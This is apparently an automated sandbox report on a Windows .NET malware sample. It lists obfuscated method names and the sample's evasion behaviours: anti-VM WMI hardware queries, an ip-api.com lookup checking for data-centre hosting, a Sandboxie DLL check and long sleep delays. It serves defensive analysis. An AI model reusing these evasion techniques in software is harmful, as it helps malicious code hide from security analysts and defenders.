Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, wKvRpKP49bRtrPO2wC.cs	High entropy of concatenated method names: 'HbKdtM9Xmg', 'wgldMHNXGd', 'XZTdpxNqTM', 'YyPdSimobv', 'pJXdwu838a', 'KUid7Ua3Cs', 'WpmdO2usuo', 'KoDfXvM5V5', 'tfXf0shnaD', 'TNSfBv2W5T'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, wnF4FSB8bfT6aKSckD.cs	High entropy of concatenated method names: 'zZcfDDRi3t', 'aa0fZlwnnS', 'KMyfoACJso', 'HUJf5qLJyX', 'YJyfLXlYKl', 'oVnfsCanYr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, kZkSxiQpiQSYLnKnL7.cs	High entropy of concatenated method names: 'AWZ6KXED9K', 'EoJ6ROySrU', 'FOX6lqBpoY', 'SEC6QiRp9L', 'p2f6A9oYnc', 'KhD697kpiw', 'y3W6FPUdDk', 'h7h6flnxJy', 'TEg6dmQ7Sv', 'pZC6NW79F7'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, kU5J5I0jMJYITEd0DJ.cs	High entropy of concatenated method names: 'GRifSv2AfB', 'u3RfwLE3IP', 'ob5f66ykQ1', 'ID7f7W1ck1', 'KaLfOG7ca6', 'P5FfC3cJ4Z', 'RHcf1iw2JT', 'wmFfqBc0Tq', 'QoNf4dxUFp', 'FCcfm05q9x'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, hOuDDRaJp8KDL0JhXJ.cs	High entropy of concatenated method names: 'Gch7JqFp5I', 'inb7WcY2qT', 'bBA6oEp3WS', 'IWP65rItmx', 'faP6sXKDnb', 'B286j4b0Iw', 'kfY6gbt33l', 'B0s6xVejHO', 'qVD6GlaE0I', 'NaB6IP18Im'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, I0H9wMGQllVCk95xxN.cs	High entropy of concatenated method names: 'B0pCuFIjjg', 'pIFCEuEmjv', 'N36CVofQWx', 'qsRCKNA3je', 'GPdCJx0CDW', 'm9UCRxk541', 'dIPCWB7QYr', 'l60Cl0IU0M', 'bFkCQHBM1B', 'bejCaUWh8l'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, phlAM8tvxEdrjEIreQ9.cs	High entropy of concatenated method names: 'JImdu870Jr', 'yX2dEYlEPT', 'VIHdVxR4Nb', 'UCfdK4tdxc', 'kF6dJL0FAM', 'kZCdRlKdw1', 'vfUdWEvwPt', 'Jn4dlVA3g0', 'RK2dQI9CxZ', 'rgAdaoEDlh'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, GfT8QYtMO2flwXIqGe5.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'jgONLa6Q3A', 'Y5ON8u9NFD', 'YSNNeBpVv1', 'jMKNyPKgno', 'Bp9NcihnQq', 'M4JNnQSwd0', 'h03NXJL11u'
Source: 0.2.LisectAVT_2403002A_52.exe.4ea0000.10.raw.unpack, kdFvaMFVPKs73pA7Ae.cs	High entropy of concatenated method names: 'jlLbsIppcp4pe', 'HUDVafGQx3A5lYPXEbC', 'bWxlDPGFKtjOUjq8ME9', 'J13JY7Gs9VegMR0Usdn', 'gjnvHYGCPTFBSN5sXDA', 'UXn9pRGVr5JYGFjuCRJ', 'g8bQ3yGYPoLwrRusK3E', 'KwwAwLG5jtFVjgr5V0l', 'lJyLiGG0wAjthymuVo5', 'KrHGd2G9wj507LdZGDe'
Source: 0.2.LisectAVT_2403002A_52.exe.4ea0000.10.raw.unpack, DD.cs	High entropy of concatenated method names: 'wgRxinKHcbWANUbFNm', 'dwveif1E9jqp4XTbTA', 'iYTXHL2SDoNZBJVsGw', 'hFySdn3keDBvJSvKal', 'PVIytPpWpuEYQLk40u'
Source: 0.2.LisectAVT_2403002A_52.exe.4ea0000.10.raw.unpack, ihWImL1h2qjtIkVYDh.cs	High entropy of concatenated method names: 'qJUttacKFT', 'djwp7oGHZ8xfNf3m5ut', 'AZqALCG67UykKuowXP2', 'dkLCJpGlCfFdqtD7Epf', 'iHWSkAGjDuGN31hXJsT', 'u4UYnDGE5xCOMnt15QR', 'jhES7Va4c', 'jWmROKkjL', 'Dispose', 'BJj7gBhfp'
Source: 0.2.LisectAVT_2403002A_52.exe.4ea0000.10.raw.unpack, oImfMJtvGUo8fMQNBQ.cs	High entropy of concatenated method names: 'cxsORewNJ', 'VvrninWuk', 'ustvIxt9o', 'QtXoY7g0N', 'cMKlMbnQu', 'w2KLAB5Xx', 'hNkF6TG2YCh7xU8s3hJ', 'hs4l1PGKtLhAeRnm1c4', 'Dispose', 'MoveNext'
Source: 0.2.LisectAVT_2403002A_52.exe.4ea0000.10.raw.unpack, wehuuoKhMKMbnQu72K.cs	High entropy of concatenated method names: 'NXMyxc8eI', 'GTZadPHeP', 'DEVNaDCj9', 'cflmBNqev', 'VFQ0OImLC', 'PbYVMxZvt', 'UPdFjbLed', 'AeEi93ui9', 'oM66buTLn', 'nxFUIfcfn'

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: LisectAVT_2403002A_52.exe PID: 2748, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: LisectAVT_2403002A_52.exe, 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 24C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 2300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 7240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 8240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 83F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 93F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 28A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 2950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Memory allocated: 4950000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Window / User API: threadDelayed 2439			Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Window / User API: threadDelayed 7394			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 2992	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99754s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99595s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -97985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -97860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -97735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -97610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -97485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -97188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -97035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -96910s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -96782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -96657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -96532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -96407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -96282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -96172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -96063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -95938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -99031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98902s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98248s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe TID: 1480	Thread sleep time: -98031s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
